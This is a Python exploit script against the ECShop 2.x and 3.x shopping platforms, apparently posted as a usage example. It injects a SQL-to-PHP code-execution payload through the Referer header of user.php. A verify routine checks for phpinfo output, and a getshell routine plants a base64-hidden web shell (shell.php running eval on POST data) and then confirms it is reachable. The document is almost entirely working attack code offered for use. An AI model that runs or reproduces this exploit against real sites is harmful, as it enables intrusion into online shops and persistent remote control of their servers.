ecshop v2 v3 EXP使用方法代码示例

import requests
import binascii
def get_v2Payload(code):
'''Ecshop V2.x payload'''
code = "{$abc'];@assert(%s);//}" %(code)
# print(code)
code = code.encode()
shellcode = binascii.hexlify(code).decode()
payload = "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:%s:\"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x%s,10-- -\";s:2:\"id\";s:4:\"' /*\";}554fcae493e564ee0dc75bdf2ebf94ca" % ((50 + len(shellcode)),shellcode)
return payload
def get_v3Payload(code):
'''Ecshop V3.x payload'''
code = "{$abc'];assert(%s);//}" %(code)
code = code.encode()
shellcode = binascii.hexlify(code).decode()
payload = "45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\"num\";s:%s:\"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x%s,10-- -\";s:2:\"id\";s:4:\"' /*\";}45ea207d7a2b68c49582d2d22adf953a" % ((50 + len(shellcode)),shellcode)
return payload
def verify(url):
print(url)
flag = "allow_url_include"
code = "phpinfo()"
url = url + "/user.php"
ec2payload = get_v2Payload(code)
# print(ec2payload)
ec3payload = get_v3Payload(code)
payloads = [(ec2payload,'2.x'),(ec3payload,'3.x')]
for payload,version in payloads:
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0',
'Referer':payload
}
try:
rsp = requests.get(url,headers=headers,timeout=3)
if flag in rsp.text:
verifyInfo = {}
verifyInfo['URL'] = url
verifyInfo['version'] = version
print(verifyInfo)
break
except:
pass
def getshell(url):
code = "base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3NoZWxsLnBocCcsJzw/cGhwIGV2YWwoJF9QT1NUWzc3N10pOyA/Picp')"
i = url + "/user.php"
ec2payload = get_v2Payload(code)
# print(ec2payload)
ec3payload = get_v3Payload(code)
payloads = [(ec2payload,'2.x'),(ec3payload,'3.x')]
for payload,version in payloads:
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0',
'Referer':payload
}
try:
rsp = requests.get(i,headers=headers,timeout=5)
if rsp.status_code == 200:
shurl = url + "/shell.php"
srsp = requests.get(shurl,timeout=5)
if srsp.status_code == 200:
verifyInfo = {}
verifyInfo['URL'] = shurl
verifyInfo['version'] = version
print(verifyInfo)
break
except:
pass